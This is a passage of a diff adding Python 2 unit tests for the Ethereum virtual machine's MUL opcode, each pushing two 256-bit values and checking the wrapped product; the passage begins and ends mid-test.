+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639424L])
+
+    def test_MUL_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639168L])
+
+    def test_MUL_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008590474410781257804426985050609831806602734137344L])
+
+    def test_MUL_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338673L])
+
+    def test_MUL_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_MUL_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639696L])
+
+    def test_MUL_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [108555083659983933209597798445644913612440610624038028786991485007418559037665L])
+
+    def test_MUL_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820208L])
+
+    def test_MUL_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [480L])
+
+    def test_MUL_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820688L])
+
+    def test_MUL_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [91343852333181432387730302044767688728495783680L])
+
+    def test_MUL_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639920L])
+
+    def test_MUL_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MUL_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639680L])
+
+    def test_MUL_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820208L])
+
+    def test_MUL_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [256L])
+
+    def test_MUL_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [512L])
+
+    def test_MUL_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [768L])
+
+    def test_MUL_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [97433442488726861213578988847752201310395502592L])
+
+    def test_MUL_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639904L])
+
+    def test_MUL_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MUL_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639424L])
+
+    def test_MUL_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [480L])
+
+    def test_MUL_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [512L])
+
+    def test_MUL_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1024L])
+
+    def test_MUL_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1536L])
+
+    def test_MUL_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [194866884977453722427157977695504402620791005184L])
+
+    def test_MUL_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639888L])
+
+    def test_MUL_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
